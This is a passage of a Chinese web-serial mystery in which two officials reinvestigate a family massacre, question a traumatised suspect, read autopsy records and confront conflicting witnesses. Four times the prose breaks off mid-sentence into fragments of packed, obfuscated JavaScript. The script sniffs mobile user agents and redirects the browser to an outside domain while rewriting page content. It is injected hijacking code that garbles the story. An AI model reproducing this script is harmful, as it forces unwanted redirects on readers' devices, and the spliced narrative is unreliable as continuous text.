魏老板抓住林树的肩膀,直直地盯着林树的眼睛,语气不容置疑道:“不,小树,不是你害的,是他们罪有应得,你知道吗?这都不是你的错。即使所有人都觉得你做了错事,魏叔也觉得你做得很对,相信魏叔。那天河边的事你还记得多少,都再告诉魏叔一遍,好不好?” “是我害死了他们...不对,不对,我头好痛,我想想...,让我想想......”林树弓着身体,捂住脑袋,完全是一副害怕到极致的状态。魏老板一遍又一遍地重复安慰的话,片刻后,林树突然浑身一定,大叫道:“我想起来了!” “好,小树说,魏叔听。” “我想起来了......魏叔,那天,那天晚上...我...本来是想杀了自己的。” “他们打得我好痛,我逃了出来,逃在那个河边,我想跳河。但是我还没有跳进去,有一个人走了过来,他长得很凶。他说,你为什么要跳河?我说身上好痛,想到河里洗一下。他说不是的,伤口是洗不掉的,你就是想跳河,你为什么要跳河?这个河淹不死你。我说没关系,我自己走进去就可以了。他说你这个蠢货,水太浅了,你死不了的,你不应该跳河,在你杀了自己之前,你应该去杀掉那些这样对你的人。我说我不杀别人,我只是想跳进河里洗一洗。但是,但是他一直在劝我杀了我的家人,但是我不肯,我说阿娘教不要我欺负人。他就烦了,他说那我来替你杀,你娘就不会骂你了。” 宋景熙道:“...你答应他了?” “我,我...我......”林树将脑袋捂得更紧,整个人的声音闷得像是从地里传来的:“...我答应了,他就走了。回去后我又被打了,少爷说我不应该乱跑,少爷打得很痛很痛,但是我还是睡着了。第二天醒来,我就看见他们都死了,死的好惨,流了好多血。还有大少爷的儿子,他好可怜,他才几岁,也没欺负过我,还给我吃饭。为什么那个人也要杀了他,我哭了,我恨那个人。大少爷说得对,我不应该跑出去的,这样我就不会遇到那个人,我讨厌我自己,为什么要答应他,如果没有答应他,是不是就不会这样?” 林树开始放声大哭起来。魏老板赶紧捂住林树的眼睛,语气着急却尽量温和地道:“好了好了,小树,你做得很好,魏叔都知道了,这并不是你的错,所以不要哭了好不好?现在我们捂住耳朵...闭上眼睛...对,就是这样。好了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773766|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋景熙滚了滚喉结,感到喉咙有些干涩。韩时元没什么表情,垂着眼,靠在墙边,不知在想什么。 林树安静下来后,魏老板吐了一口气,道:“二位有所不知,官衙的档案里,林家人实际上皆是被迷晕后才砍死的,因为林家人吃的最后一餐的饭菜里被加入了大量的迷药,二位大人也看到了,小树他这个模样,怎么做得了这样杀人的计划,怎能买得了迷药,他又哪里有钱买,就算是他买的,为何没有卖迷药的站出来说他买过?所以我绝对相信,真凶一定另有其人。” “真凶迷晕了包括小树在内的林家人,虽然放过了小树,没有杀掉他,却把灾祸栽赃给了他。大人,难道衙门和捕盗厅不是为了百姓的公平而存在的吗?既然案情又疑点,为何不能正视这些疑点,却给唯一活着的人定下死罪呢?” “虽然我这样对官衙说,但官衙的大人却将我轰了出去。后来南邑突然戒严,我听说是小树逃跑了,所有人都在找他,我也在找他。但只有我知道他唯一会去的地方在哪里,因此我才先官衙一步在那地方找到了他,那地方就是他母亲的墓!当年我亲手安葬的,怎会不知这位置?官府之所以没能找到小树,是因为他们根本不关心他经历过什么,他们不知道小树母亲的墓在哪里,是因为他们根本不会关心一个女人,或者说一个在他们眼里是贱民的人死了以后会埋在哪里!” “找到小树后,我便将他带回了客栈,藏于阁楼里。阁楼隐蔽非常,官衙派兵在挨家挨户地搜查的时候也没发现。可客栈的伙计又是个问题,为了不让他被发现,我将伙计们暂时遣散,但过了几日,伙计们没了生计,活不下去,前两日我只能让他们又回来干活。小树他,他明明一直很乖,在阁楼里不哭也不闹,也不会大喊大叫。我担心伙计们误闯上阁楼,便想着必须得给阁楼上锁,否则迟早会出事,可我只要拿锁出来,小树只要看到意识到了便会万分害怕,喃喃自语,虽不哭闹,却会滴水不进,粒米不沾。这不是办法,我只能告诉小树不要出来,他也一直不曾碰过那道门,可是,我怎知,我只是离开了客栈一会儿,小树他便会出来啊!” 魏老板叹道:“事情就是这样,魏某能说的已经全说了。魏某就是敢拿身家性命担保,绝无半句虚言,一点不敢蒙骗二位。至于信与不信,全看二位大人了。魏某也...悉听尊便。只是若是二位大人肯相信魏某这番话,还请,还请查明真相,还小树一个清白!” 很显然,魏老板说这么多,敢全盘托出,当然是为了让他们相信的。宋景熙也敢肯定,如果他们还不信,坚持要抓林树走,那魏老板也绝对没有阻止的办法。但不得不说,魏老板这几番话,真的让宋景熙动容了,只是仍有疑点,便问道:“魏老板为何如此相信我们,竟将这些事对我们全盘托出?” 魏老板道:“大人,难道我还有别的选择吗?唉,之所以相信两位,也是全赖您了。” 宋景熙道:“我?” 魏老板点头:“是,大人。今日白日,我曾问过您一个问题,我问您,是否是那位‘粉袍郎君’,您说是。其实那时我便心有求助之意了。实际上不止那一位客人,我听到了不少您的事迹,若是那些传言为真,想必大人您也不会对小树见死不救。我也是没有办法,若是不将事情全全告知二位,二位又怎会信我?魏某只求一句话,您愿不愿意救一救小树?” 宋景熙沉思片刻,心中有了答案,但他没有即刻说出来,而是看向韩时元,询问道:“你觉得,怎么做?” 韩时元的眸色沉沉的,看不透心中所想。他道:“查。” 18. 空亡其六 离开那间屋子后,宋景熙将韩时元拉到自己的房内,收敛了下情绪,道:“你觉得呢?你觉得...他们可信吗。” 韩时元揉了揉眉心,道:“不可尽信。” 宋景熙轻轻点头:“你指的不可信的部分是什么?” 韩时元道:“还记得我们白日在外打听到的吗?几乎所有认识林树的人对他的印象都只有一个傻字,也正像魏老板所说的那样,林树看起来的确不像是会计谋杀人的样子。同样,在我们面前,林树没有表现出任何攻击意图,像个孩子一样没有任何威胁。” “但有一件事让我觉得很矛盾,那便是在林树闯进伙计房间,并且将他们吓出房间后,那位姓黄的伙计的描述。他说,林树在他耳边说话时,他误以为是另一名伙计,便随手给了一巴掌。没想到林树竟然突然发难,不仅掐住他的脖子,还狠狠咬了他一口。这难道不是很矛盾么?” 宋景熙深以为然道:“这很矛盾。” 的确,如果林树真的像在他们面前表现出来的傻孩子一样弱懦而无能的话,那又为何在黄姓伙计那里表现出强烈的攻击性? 想了想,宋景熙道:“有没有可能,是因为老黄他打了林树一巴掌的原因?说不定林树虽然软弱,但实则报复心很强,所以在挨打后便一定要还回去。也有可能有魏老板在身边时,林树的情绪会稳定下来?” 韩时元也想了想,道:“如若他在河边的那段经历真实,他连林家人都不敢杀,只敢自己跳河,那便不太可能是报复心太强。当然,也许他这一段经历的自述是谎言。” 宋景熙道:“你说的也对,那这究竟是怎么回事?难不成他是装的,如果是这样,那他的演技还真是炉火纯青了......” 但是扪心自问,要让他觉得魏老板和林树是在利用欺骗他们,他又觉得不太像,宋景熙顿时有些自暴自弃,好吧,他承认他是有点感情用事。 宋景熙在房间里走了几圈,韩时元默默看着他打转,同时也在思索着什么,片刻后,出声道:“我不觉得他们说了谎话。” 宋景熙道:“为何?” 韩时元道:“眼睛。” 宋道真道:“眼睛?” 韩时元道:“人身上,最会说谎的地方是口,而最不会说谎的是眼睛。” 宋景熙道:“但有些人演技精湛,或可演出来。” 韩时元道:“不错,因此一个人是否可信当然不能全然依靠眼睛判断,也要看看行为。” 下一刻,韩时元竟然推开房门走了出去,快步走到尽头那一间屋子门前。 推开门,魏老板和林树依旧呆在此处,唯一不同的是林树已经睡着了,魏老板正守在一旁。宋景熙紧跟着韩时元,门推开的一瞬,两人都将屋内的情况看得清清楚楚。 “你们......” 唰一下,门又被韩时元关上了。两人又回到宋景熙的房间。 “假使他们当真欺骗了我们,并想趁此机会逃跑,那恐怕他们现在早就逃了。即便逃了,那也无妨,将他们抓回来交给官府。只不过这不是我愿意做的事。因为林家人,他们该死,如若有机会,我甚至会帮助魏老板他们逃跑。” 韩时元这样直言不讳,宋景熙也愣了一愣。旋即又听他平静地道:“我这样,是不是有些感情用事了?” 宋景熙眨了眨眼,叉腰哈哈一笑,道:“你要是感情用事,那我岂不是更甚了。我若是说,我不仅和你想的一样,我还比你做得更过呢?要是我,即便林树真是凶手,我也会帮他逃跑。” 韩时元暗自松了一口气,也浅浅一笑。他其实还没说得更过分。 “不过么...”宋景熙摸摸下巴,严肃地道:“既然如此,那查明真相的事就得提上日程了。不若这样,反正现在也快卯时了,再睡也睡不了多久,不如现在便出门行动,如何?” 韩时元没有异议。 ...... 房门再度被打开,魏老板捂了捂心口:“二位大人有什么事?” 宋景熙清了清嗓子,道:“是这样的,我们打算即刻出发,找找线索。走之前想问问,林树那晚在河边看见的人,有没有什么特征?方便我们找到他。” 或许他也能弄个悬赏令出来。 魏老板唉声叹气道:“不瞒大人,我也不是没有问过小树,但小树他只说记得那人长得有点矮,有点黑,还...还有点丑,旁的是无论如何也记不得了。也许是因为天黑的原因,小树没能看清吧,真是...真是麻烦二位大人了,若找不到真凶,我会,我...大人还有什么要问的吗?” “没有了。”宋景熙坚定地道:“我们会找出真凶的。” 紧接着又道:“对了,我们调查期间,千万不要离开客栈,外面全都是拿着林树画像找人的人,若是一不小心再暴露了,我们很难保全你们。” 韩时元补充道:“看好你的人,别让他们出去了。” 魏老板怔了一瞬,随即苦笑道:“一定,一定。多谢二位大人,此事过去之后,往后若有什么事是我能帮得上忙的,我一定鼎力相助。” ...... 又是宋景熙来骑马。 二人昨日便打算等第二天时去官衙看看关于灭门案的卷宗,现在依旧没有改变这个想法。 途中,宋景熙的脑海里不断出现一双眼睛,是林树的眼睛。但不是悬赏令画像上的林树的眼睛,而是他昨日晚看见的林树那一双空洞而呆滞的眼睛,偶尔会有害怕和惊恐的情绪从那双眼睛里溢出来。 这双眼睛在他脑海里浮上浮下,几乎占据了他的心思,连差点撞到人了也没有注意到,还是韩时元及时握住缰绳,调转了马头,才避免了一场惨剧。 差点被撞到的是个士族打扮的老爷,喝骂道:“啊呀!臭小子!没长眼睛啊?差点撞到我了!” 韩时元暗中翻了个白眼,然后调转马头,没有多纠缠的意思。 士族老爷一看,愈发喝道:“我可是这儿郡守的父亲!你们这般无礼,是哪里来的外乡人?竟敢...啊!” 不待士族老爷说完,韩时元握紧缰绳,又将马头调了回来,作势朝士族老爷踩去。那老爷吓得往后一倒,被人险险扶住。“你...你们!是谁,敢这么无礼!” 宋景熙一脸坏笑:“你是郡守父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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韩时元有没有腰牌连他宋景熙都不知道,就算有,那也不可能给南邑郡守看,所以宋景熙先打了个圆场,道:“哦,这位的身份就不方便说了。不过郡守大人大可放心,我们此番到来没有别的目的,只是为了林吏房灭门案而来。” 郡守啊啊道:“原来是这样,原来、原来汉阳也知道这件案子,这真是南邑的荣、哦不,真是我们的过错啊!实在是羞愧啊,宋大人,还有这位大人或许已经知道了,那灭门案的凶手林树七日前便从狱里逃了出去,至今没能抓回,真是我这个做郡守的不是啊!” 郡守废话有点多,韩时元眉间显现出一丝不耐烦,还没等他说话,宋景熙先道:“好了郡守大人,我们既然是为此而来,当然做足了准备,当然知晓这些。此番过来不为别的,只希望郡守大人能将灭门案的详细卷宗交与我们一看,我们好解一解心中疑惑,是否可以?” 郡守啊了一声:“那当然可以,我这就让人去取来,不过可能有点多,二位大人得先做好准备......” 宋景熙微微一笑:“那就多谢郡守大人了。” 然而,郡守刚走出厅堂,又啊了一声,退一步折了回来,睁着一双绿豆眼,道:“二位大人!那记过证言的几名证人,要不要帮您找来?若是看卷宗看累了,直接问话也方便啊!” 没想到这位郡守还挺细心。宋景熙笑道:“麻烦郡守大人了。” 19. 空亡其七 片刻后,郡守和手下取来了厚厚一摞卷宗,放在了桌面上。 “......”宋景熙拿走最上面的一叠,“这么多?”看来南邑官署和捕盗厅是真的有认真调查过。 韩时元随手抽了几本检查了一下,的确可以说是调查详尽,分类细致。只是,有没有造假,或者刻意避免某些案情信息就不知道了。还得他们看过之后才能知晓。 郡守擦擦汗,道:“所有遗体的验尸记录都在这了,您知道的,死的人有点多,每具验得都很详细。”说罢,郡守看向韩时元手里拿着的那本,继续道:“您手里拿的那本是最重要的,有林家家仆的证言和捕盗厅的查案记录,都详尽地记载在上面了。您二位请看。” 宋景熙先翻了几本验尸记录,果然是惨不忍睹,每名死者都有一副验尸图,怎么死的,死状如何,通过验尸图能一眼明了,还配了不少文字说明。 八名死者中,男五名,女三名。最大者六十九岁,是为林吏房之父,最小者七岁,是为林吏房之长孙。行凶器具为一利斧,是林家劈柴所用,除了斧头,实际上还有一把菜刀。这两把凶器皆被砍到卷刃,刃上皆是密密麻麻的小豁口。 死状最惨的有两位,一位是林吏房长子,另一位则是长子之妻。这对夫妇皆身首异处暂且不论,缺胳膊少腿也暂且不说,身上各有四十八处刀伤和三十七处刀伤,这都足以将人捅成筛子了,的确,内脏也有所缺失。除了这两名死者,林吏房本人及其次子也同样被捅了不下十刀,只不过死状相对来说没有那样恐怖。其余者,皆是以利斧一击毙命,这可能是所有死者里最不痛苦的死法了。 越看验尸记录,宋景熙的神色越复杂。这样惨烈的案件,不是仇杀的话那也太难说得过去了,也不怪官署和捕盗厅会觉得林树是凶手,换作任何一个人,都会这么想。灭门做到这个地步,除了深仇大恨,很难驱使凶手做出这些。 谁会和林家人这么大仇?查案记录上写了。 查案记录在韩时元手上,韩时元此时也将其看完了,二人交换了手中的记录卷宗。 查案记录上写得很清楚,也提到了案发前的背景:林吏房一家为人不守信用、又蛮不讲理,在多年的矛盾中逼走了周边的所有邻居,邻居们纷纷搬远,成了林家的远邻。可以说,林家人在南邑的风评是最差无疑。 宋景熙心中评价道:林家人不住在城里,反而住在城外,邻居也被逼走,难怪被灭门时没有人发觉。 但是转念一想,林吏房一家虽然风评不好,但人们也只是讨厌,即便是仇家,那也不至于恨到要残忍杀害的地步。果然,翻过下一页,往后皆是对林家仇家的调查,林家人树敌之中,上至南邑官员,中至平民百姓,下至囚徒罪犯,对这些这些人的调查占据了一大本查案记录,而一一粗略翻过去,这些人皆被排除了嫌疑,名字都被划掉了。占据最大篇幅的正是林树,而其上讲述的林树的灭门动机倒还算详尽,和无名客栈的魏老板讲的差不多,比之还有更详尽些,读起来也很让人气愤。 正是气愤,才会让人觉得林树的嫌疑最大。宋景熙这次感叹了出来:“所以说,只有林树啊...只有他有理由。” 与此同时,韩时元已经看完了验尸记录,开始默默翻看证言录。但他刚翻开便手指一定,旋即将整本证言录粗略翻了一遍,翻完了又回到第一页,迅速翻看了几页,并停留在这几页当中来回翻动。他微微拧着眉,似乎在其中发现了什么东西。 听见他反复翻书,宋景熙侧头看去,韩时元见他看来,便将手中的证言录递了过去,道:“有些不对,你看看。” 宋景熙一看,果然也发现了端倪。韩时元给他看的是一段林树的供词,供词里林树不仅承认了人是他杀的,还非常清晰且有条理地供述了自己的行凶经历,并且认罪文书上也画了押印。 看文书记录的时间,林树被抓第一天晚上便认罪了,难怪南邑衙门能那么快便能给林树判了斩,认都认得这么快,能不斩吗? 宋景熙悄声对韩时元道:“条理这么清晰的供词,真的是林树自己说出来的吗,有点,有点不像啊。” 韩时元摊了摊手,也悄声道:“没有记录河边之人的供词,不如问一问?” 宋景熙转头清咳一声,对郡守道:“我听说林树还招供了其它事情,比如什么河边真凶,是否真的招供了?郡守大人派人去查了吗?” 郡守道:“大人是从哪里得知这件事的?” 宋景熙道:“看来是真有?” 郡守道:“这...是真有,但那是在已经认罪画押之后,林树他才说什么不是他干的,是他纵容旁人干的,总之就是大人您口中所说的河边之人。但这也太扯淡了!既然都已经认了罪,又突然说不是自己干的,还说另有真凶,一定是因为知道自己被判了斩,不想死,才那么说啊!两位大人想想,旁人就算和林家人有仇,会憎恨林家人到要灭门的地步吗?还......还把他们几个的头割下来,放、放在他母亲坟前,除了他,还能是谁干的啊!要是真的是那河边之人想替林树报仇,那为何杀了人却让林树来顶罪替死,这根本说不通啊大人!” 宋景熙睁大眼睛:“割了头放在他母亲坟前?似乎,还没有人和我们说过此事。” 韩时元点点头:“没有。” 郡守讪讪道:“是将林吏房本人、长子及其夫人的头都送到他母亲那里去了,我们一来发现得晚,是林树逃走之后才发现的......二来想着保全林家的死后尊严,也就只是将头都拿回来,没有公布此事。但案发当晚我们确实是在林家家中发现他的,他应该是将头送到他母亲那去后又回来了。后来林树他改口说人不是他杀的的时候,这时的他已经话语十分混乱,十分矛盾了,倘若用刑审,或者问得多了,他就只会捂着头喊痛,连话都不能说出一句完整的。我们寻思案子都已经判了,林树的话又不可信,便还是按判决做了,谁知道判决刚下的当晚,他竟然逃了啊!我还损失了两名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773768|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狱吏......” 宋景熙道:“原来如此,郡守大人也是辛苦了。不过,河边之人这件事,捕盗厅知道吗?” 凡是京外各地出现大案,年年都要送往汉阳让刑曹复核,避免出现冤案。像这一起灭门案,刑曹绝对不可能不复核,既然要被复核,那么对于衙门来说,案情记录便没有必要不必要一说,因为什么都必须记载清楚,可以多记,但不能少记。出了问题,不仅南邑衙门会被问责,捕盗厅也要负责。 所以,捕盗厅要么也默许了不记载,要么就是不知情。如果是后者的话,那很不幸,郡守的晋升功绩得被扣除了。 郡守弱弱地道:“这个...应该是不知道的。” 宋景熙叹了口气,果然这样,但他也不是监察使,没有权利纠察。他的确是可以去向检举,但何必呢,多一事不如少一事,补上就好了。便道:“无论如何,也不应该贪方便而不尽职记载,不要紧,千万记得补上。” 郡守心下道:不是说不是监察使吗,怎么开始指点衙门事宜了?王亲贵族了不起啊,汉阳来的就是难伺候。 他真是心里有苦说不出,辖地出了那么恐怖的命案不说,上头还不止一次派官员来查案,上次是捕盗厅,这次居然是几个家大势大的高官!但凡有一点招待不到位的,他这个辛苦了大半辈子才捞到的郡守位子也不用坐了。譬如昨晚大半夜闯到官署的那位姓韩的大人,也是从汉阳来的,一身污垢,好像是骑马摔了好几次摔出来的?!一来就大骂南邑这个穷乡僻壤的破地方怎么这么难找,看什么都不顺眼,差点给衙门掀了,特别难伺候! 郡守心里不停腹诽,面上却表现得相当惭愧:“是是,一定补上。” 宋景熙听不到郡守的心里话,只一心一意地看着这几页林家家仆的证言,一共三位家仆,这些家仆只是林家人的杂役,并不在林家居住,所以有幸活了下来。家仆证言中,几乎都在极尽全力地讲述林树在林家的悲惨遭遇,详尽之至,让人看了心情沉重。 但显然,这么极尽公允地记下林树的遭遇,不是为了引起阅读之人的同情,而是为了证明林树的确是因恨杀人。 宋景熙看得头痛,按了按额头,迅速掠过,翻到第三名证人的记录。见他看到这里,韩时元便道:“这里也不对劲。” 第三名证人的证言记录上只有一句话,是一名妇人的证言。旁人的证言多半是朝着“林树常年受折磨而心生怨恨愤而杀人”而去描述,而这位妇人却偏偏不同,她说:林树就是个白眼狼,林家对他那么好,他却杀了亲人,简直是畜生,愧对林家的良苦用心。 郡守突然大声道:“啊!宋大人是不是看累了?找来的证人应该差不多来了,二位要是想了解案情,那笔录总是不太详尽的,要不听证人亲口说说?”又朝外边守着的衙吏道:“人带来了没有!” 衙吏道:“回大人,人已经外面在候着了。” 郡守道:“快带进来!” “是!” 20. 空亡其八 也许是觉得那位妇人的证言有悖其它证言,而且不太适合结案,捕盗厅的记录也十分简略,除了那一句话以外,没有别的补充。 如果是这样的话,那确实需要找证人来问话,否则就这么一句干干净净的话,根本不知道这妇人何出此言啊。 宋景熙也看穿了郡守的心思,说白了,郡守还是觉得他们是监察使,是来视察郡衙事宜的,而郡守在灭门案的记录事宜中没做到尽详尽细,这番被他们查阅,怕他们盘问,便先准备让证人过来,好让他们不要问责于他。 不多时,衙吏便带进来两个女子,左边那位看着三四十岁的模样,眼睛一大一小,郡守介绍道:“这是林家那个小儿的乳母。”右边那位看着不过三十岁,医女打扮,面容疲倦,郡守也介绍道:“这是给林家看过病的城中医馆的医女。” 介绍完了,郡守嘿嘿笑道:“另外几个家仆还没能找到,不过他们的证言二位都已经看过了,想来不需要问话,但若是二位想,那我届时再找来。” 这时,衙吏在外唤道:“大人,有要紧事。”表情还有些紧张。 郡守眯了眯眼睛,凑过耳朵去听,表情居然一变,随即朝厅堂里二人道:“请恕下官暂且不能奉陪,二位大人先问话吧。”随即匆匆地走了。 念在郡守积极协助的份上,宋景熙决定对郡守失职之事不加追究。虽然他也并没有追究的权力就是了。他笑眯眯地看向两名女子,问道:“不必多礼,这番请二位过来,是想问问关于林家灭门案的事情,以及你们的证词。这位夫人,别紧张,你当时的证言我见捕盗厅记录了下来,与其它林家人的证言十分不同,这是为何?” 妇人不停摩擦着衣角,略有些紧张地道:“林树...林树他真的,就、就是个白眼狼,大人,您信我!我在林家干了好几年了呢,都是亲眼所见...” 宋景熙道:“好,我们相信你说的。只要你说的话都是发自内心的,我们都会相信的,你放心大胆地说就好了,不必拘泥。” 妇人努力回想了一阵,接着放心大胆地道:“这个林树,别看他平常好像挺正常的,胆子又小脑子也傻,跟个不到十岁的小儿似的。可我有时候同他讲话,看他还挺有条理的,就是细声细气了点,而且十分勤快,使唤他做什么他都能做。我刚开始进林家的时候还以为他是个什么天生的憨儿,因为老爷和大少爷一直把他关宅里,老夫人说是这孩子脑子有些毛病,那时我还觉得这孩子惨咧。但是过了几个月我就不这么觉得了。” 宋景熙道:“这是为何?” 妇人道:“他的确是有一种什么病,至于是什么病就不清楚了。有的时候看起来人畜无害,有的时候又会脾气特别暴躁,动不动就骂人咬人打人。我第一次看到他犯病的时候,他正和大少爷动手,而且骂得特别厉害,我还上去帮他,结果被他打得差点瞎了一只眼,现在看东西还有点不行哩。” 说完,妇人心有余悸地摸了摸右眼,有些后怕。 与此同时,宋景熙和韩时元对视了一眼,眼神里不约而同都是同一个意思。这和他们在无名客栈那晚讨论的不谋而合了,林树人畜无害的一面和充满攻击性的一面,两者矛盾,怎么可能在一个人身上同时显现呢? 宋景熙温声道:“你继续说。他大概是多久会这样?频繁么?” 妇人继续道:“我是七年前进的林家嘛,那时候林树每隔大半年才犯病一次,后来,尤其是就这两个年头,这林树犯病犯得越来越频繁了,几乎每隔几天就会犯一次病!每次犯病,就好像变了个人似的,完全不似我刚认识他时的样子啊,也不知道咋回事。唉真是后悔!要早知道他是个白眼狼,也就不会上去帮他了,白白挨了一拳,眼睛遭罪!” 韩时元道:“那天他发病之前,有没有发生什么特别的事?” 宋景熙也道:“是啊,兔子也是有脾气的,既然不频繁,可能是被逼急了?”他想了半天,也觉得只能用兔子被逼急了来解释林树的脾性为何如此矛盾。 妇人道:“好像没发生啥吧,那天就挺平常的,大家都是正常干活吃饭,没啥。” “这样啊...”宋景熙若有所思一阵后,问道:“那林家欺凌殴打林树的事,属实么?” 妇人点点头:“属实属实!我都见过好多回哩,尤其是大少爷,打得特别狠,关起门来打的,也不拿什么东西,就拳打脚踢的,经常打得满地是血,有一回那地上的血还是我擦的...” 宋景熙不解道:“那你为何又说他是个白眼狼,愧对林家的良苦用心?” 妇人摆摆手,道:“刚开始我也是被林树骗了!其实他天性就是个坏种,天生就好打人!每回都是他先犯病,见人就打,还下死手!所以老爷和大少爷才会打他啊!偏偏林树不懂得吸取教训,越打他,他越毛病!有一回我见他发病,他居然抓着了小少爷,差点把小少爷的眼睛活生生抠出来,可吓死人!” 妇人露出毛骨悚然的神情:“每回老爷或者大少爷打他,都是因为林树他又犯病打人了!老爷说曾经也想好好教养过,但林树他死性不改啊!再说了,他这要是是因为被逼急了才下手,谁欺负的他他就找谁呀!干嘛找个无冤无仇无辜的小孩儿?欺软怕硬算什么东西啊。您说说,这也难怪老爷和大少爷要把他关起来啊!要是让他逃了出去,那还得了?我看他就是把南邑的人都杀光了也不会满足的!” 宋景熙道:“...那也不必打得那般频繁。如果他伤害了人,应当将他送到官府,押在牢里,私自囚禁在府中,又加之以私刑,长久以往,必生事端。林吏房好歹是个郡守门客、官衙中人,连这也不懂么?” 妇人眯起眼睛,唉唉几声,一双粗糙的手不住地摩挲着腿,边道:“这人咋能把自己儿子送到大牢里头呢,而且这儿子还有病,官老爷肯定不愿意又治又管的,我们老爷只好自己管了。再说林家从来没少过他吃喝,不让他出去也是为了保护他,不然他出去了肯定要乱杀人的。我就说个您二位不知道的吧!他犯案的前几天,还差点强|暴了大夫人!” 宋景熙诧异道:“他强|暴?” 妇人满脸痛恶地道:“他那天估计是犯病了!因为前一天他偷了点东西,大夫人骂了他娘几句,他就和大夫人吵起来。那天夜里他就发病了,趁着大少爷不在家,居然跑到大夫人卧房里,还扑到了床上,把大夫人身上的衣服都脱下了半截身子!大少爷听了后就狠狠打了他一顿,然后他第二天夜里就跑了,夫人气不过,就带着人把他娘坟掘了呗,然后他就杀人了!” “原来是这样。”宋景熙表情凝重:“想不到他竟会做出如此之事。” 妇人道:“是啊!大夫人受了那样的侮辱,不杀了他,都是给他脸了!要是我啊我恨不得把他大卸八块!” 韩时元道:“你方才说他偷东西,他偷的什么?” 妇人道:“饭啊饼啊一些的,偷吃的。” 宋景熙蹙眉道:“你放才不是说林家不会少了他吃喝,他怎么会偷吃食?” 妇人含糊道:“啊...这个,可能小的记错了,好像不是偷吃的...也可能是偷些针线银钱啥的...哎哟过好久了,我记性不好,大人要不问点别的?” “好啊,问点别的。”韩时元面上挂着笑,却令人不禁胆寒,说出口的话更是直击要害:“我问你,你是否打过他?是否抢过他的东西?是否偷过他的东西?” 妇人一下子紧张起来,眼神左看看,右看看,支支吾吾地道:“...没有没有,这个...这个肯定是没有的!” 宋景熙简直有些气笑了。这妇人没有老实交代,还敢撒谎,言辞绝对有失偏颇,难怪捕盗厅觉得没用,不多做记载。这下,本来听起来有理有据有情有原的话,也不知道该信不信了! 逼问估计也问不出来什么,就在他准备放个台阶给妇人下时,套一套话时,忽然,一直沉默地站在一旁的医女开口了:“分明就有。” 妇人差点都忘记了跟她一同进来的还有一个人,猛地看过去,道:“哪里有?你不要血口喷人!” 医女没再说话。宋景熙道:“究竟有没有?”妇人还要说话,韩时元先抬手敲桌打断了她,妇人抖了抖,没敢继续说话。宋景熙朝医女道:“请你不要害怕说真话,只要是真相,一切我们都想要知道。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773769|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是,大人。”医女道:“那我就一切实话实说了。我为林吏房的夫人治病,在林家待过一阵。我对林家的情况并不了解,但我只想说我看见的。”她眼神不卑不亢,抬起下巴朝妇人道:“林树的确有你所说的病症不假,他伤起人时发疯的模样我看了也的确害怕,但你说每回林树挨打都是因为他先犯病伤人,可分明我每回看见的都是林家人先侮辱和殴打林树,次数多了以后林树才犯病伤人。若说是伤人,不如说是反抗。” 妇人指着医女喷道:“你才在林家待了多久?你懂什么?!要不是林树先伤人,老爷和大少爷会那么对林树?你来林家的时候,林树早就疯了!林家人没一个没被林树咬伤打伤过的,对这么一个不知道什么时候就会突然发狂的人有什么好脸色好给的!没杀了他,还留着他一条命,不该由他感恩戴德了吗!” 医女哼了一声,道:“林家人的恩怨我确实不懂。不过你么,你也不过是一介奴仆,也是被使唤的东西,反倒同情起主子来了?林家人没把你当家中人,你倒是把自己当林家人了,还真是林老爷的一条好狗!我看你平常也对林树多有薄待,林家人就给他那么点食物,每每也是你扣下!就那么几个馊饼你也抢?” 妇人的手指哆哆嗦嗦的,气急败坏地道:“你这个贱人,你胡说什么?看我不撕烂你的臭嘴!你也不过是一个下贱东西,有什么资格骂我!我什么时候同情林家人了?!跟林家人有个屁关系!林树那家伙害得我一只眼睛半瞎,我凭什么还要给他好脸色!我看你能在林家待那么久,多半是爬了林老爷的床吧!我呸你个臭...” “慎言!”宋景熙当即喝道:“夫人,怎能如此空口无凭地侮辱她人名节?千万不可胡说,慎言。” 妇人委屈地道:“大人,您这是说我的话都是空口无凭,而她的话就是真心话了。您不是说想听真相吗,我说的都是真心话,都是真相啊!” 韩时元道:“出去。” 妇人破涕为笑:“听见没,下贱东西,大人叫你滚出去!” 韩时元寒声道:“我说你,出去。” 妇人难以置信地道:“我?” 宋景熙烦躁地摆了摆手:“就是你,夫人。我们问话完了,请你先离开吧。” 妇人一脸不可置信地推门离开了。 医女朝妇人离开的方向狠狠踩了一脚,而后平息一阵,躬身道:“多谢二位大人信任。” 